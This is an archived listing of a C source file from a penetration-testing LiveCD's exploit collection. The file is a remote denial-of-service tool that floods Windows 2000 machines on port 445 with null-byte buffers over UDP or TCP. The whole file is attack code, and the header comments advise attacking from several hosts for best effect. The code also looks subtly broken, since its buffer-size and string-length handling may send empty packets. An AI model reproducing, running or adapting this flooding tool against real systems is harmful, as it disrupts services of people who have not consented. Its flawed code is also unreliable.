home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / ms-ds-xploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  154 lines

  1. /********************************************************
  2. *     Microsoft Windows 2000 Remote DoS         *
  3. *    ---------------------------------        *
  4. *                            *
  5. * Hello :)                        *
  6. * This is an DoS exploit that utilizes the flaw found     *
  7. * by KPMG Denmark, to crasch or hang any Win2k box     *
  8. * running the LanMan server on port 445 (ms-ds).      *
  9. * What it does is just a simple 10k NULL string        *
  10. * bombardment of port 445 TCP or UDP.            *
  11. *                            *
  12. *                                            *
  13. * By: Daniel Nystrom <exce@netwinder.nu>        *
  14. * Download: www.telhack.tk / exce.darktech.org        *
  15. *                            *
  16. * Suggestions: When performing the attack, use UDP if     *
  17. *           you are attacking from a single host.     *
  18. *           TCP only eats about 35% CPU on an AMD    *
  19. *           Athlon XP 1800+ while UDP eats 99%.      *
  20. *           So if TCP is the only option, use more   *
  21. *           than one attacking host. All in all this *
  22. *              DoS is "pretty weak" and should be used  *
  23. *              from more than one host in each attack   *
  24. *              to get the best result.                  *
  25. *                            *
  26. * Compiles on: Linux (Debian 2.2r6 and RH 7.3 tested).  *
  27. *              Should compile on other *nix's as well.  *
  28. *                            *
  29. * Thanks: Peter Grundl, for answering my Q's :)         *
  30. *                            *
  31. * greets: xenogen, ifa-, zeromatic, RTJ, all@telhack    *
  32. *                            *
  33. ********************************************************/
  34.  
  35. #include <stdio.h>
  36. #include <sys/socket.h>
  37. #include <arpa/inet.h>
  38. #include <string.h>
  39. #include <unistd.h>
  40. #include <netdb.h>
  41. #include <errno.h>
  42.  
  43. #define MICROSOFT_DS_PORT 445
  44.  
  45. unsigned long resolveTarget(char nstarget[]);
  46.  
  47.  
  48. int main(int argc, char *argv[])
  49. {
  50.         int sock;
  51.     int count;
  52.     struct sockaddr_in target;
  53.     unsigned short port = MICROSOFT_DS_PORT;
  54.     char *nullbuffer;
  55.  
  56.  
  57.     printf("%c[41m", 0x1B);
  58.     fprintf(stdout, "\n--[ excE's Remote Microsoft Windows 2000 DoS (microsoft-ds)\n"); 
  59.     printf("%c[0m", 0x1B);
  60.     fprintf(stdout, "-----------------------------------------------------------\n");
  61.  
  62.         if(argc != 4)
  63.         {
  64.                 fprintf(stderr, "--[ Invalid number of parameters!\n");
  65.                 fprintf(stderr, "--[ Usage: %s <Server IP> <TCP/UDP> <Send Count>\n", argv[0]);
  66.                 fprintf(stderr, "--[ Forex: %s 127.0.0.1 UDP 10000\n\n", argv[0]);
  67.                 exit(-1);
  68.         }
  69.  
  70.     nullbuffer = (char *) malloc(10*1024*sizeof(char));
  71.     bzero(nullbuffer,sizeof(nullbuffer));
  72.     
  73.     fprintf(stdout, "--[ Starting attack on %s...\n", argv[1]);
  74.  
  75.     memset(&target, 0, sizeof(target));
  76.     target.sin_family     = AF_INET;
  77.     target.sin_addr.s_addr     = resolveTarget(argv[1]);
  78.     target.sin_port        = htons(port);
  79.  
  80.  
  81.     if(argv[2][0] == 'U')
  82.     {
  83.         if((sock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
  84.         {
  85.             perror("socket() failed ");
  86.             exit(-1);
  87.         }
  88.     
  89.         fprintf(stdout, "--[ Sending NULL byte string * %d via UDP\n", atoi(argv[3]));
  90.  
  91.         for(count=0;count<atoi(argv[3]);count++)
  92.         {
  93.             if(sendto(sock, nullbuffer, strlen(nullbuffer), 0, (struct sockaddr *) &target, sizeof(target)) != strlen(nullbuffer))
  94.             {
  95.                 perror("sendto() failed ");
  96.                 exit(-1);
  97.             } else { printf("."); } 
  98.         }
  99.         close(sock);
  100.         printf("\n");
  101.     }
  102.      else if(argv[2][0] == 'T')
  103.     {
  104.         
  105.         fprintf(stdout, "--[ Connecting and sending NULL byte string * %d...\n", atoi(argv[3]));
  106.          
  107.         if((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  108.         {
  109.             perror("socket() failed ");
  110.             exit(-1);
  111.         }
  112.  
  113.         if(connect(sock, (struct sockaddr *) &target, sizeof(target)) < 0)
  114.         {
  115.             perror("connect() failed ");
  116.             exit(-1);
  117.         }
  118.  
  119.         for(count=0;count<atoi(argv[3]);count++)
  120.         { 
  121.             if(send(sock, nullbuffer, strlen(nullbuffer), 0) != strlen(nullbuffer))
  122.             {
  123.                 perror("send() failed ");
  124.                 exit(-1);
  125.             } else { printf("."); }
  126.  
  127.         }
  128.         close(sock);
  129.         printf("\n");
  130.     } else
  131.     {
  132.         fprintf(stderr, "--[ Error: You must define a protocol (TCP or UDP)\n\n");
  133.         exit(-1);
  134.     }
  135.  
  136.     fprintf(stdout, "--[ Finished flooding target!\n");
  137.     fprintf(stdout, "--[ http://www.telhack.tk\n");
  138.     
  139.     return 0;
  140. }
  141.  
  142. unsigned long resolveTarget(char nstarget[])
  143. {
  144.     struct hostent *targetname;
  145.  
  146.     if((targetname=gethostbyname(nstarget)) == NULL)
  147.     {
  148.         fprintf(stderr, "--[ Name lookup failed. Please enter a valid IP or hostname\n");
  149.         exit(-1);
  150.     }
  151.  
  152.     return *((unsigned long *) targetname->h_addr_list[0]);
  153. }
  154.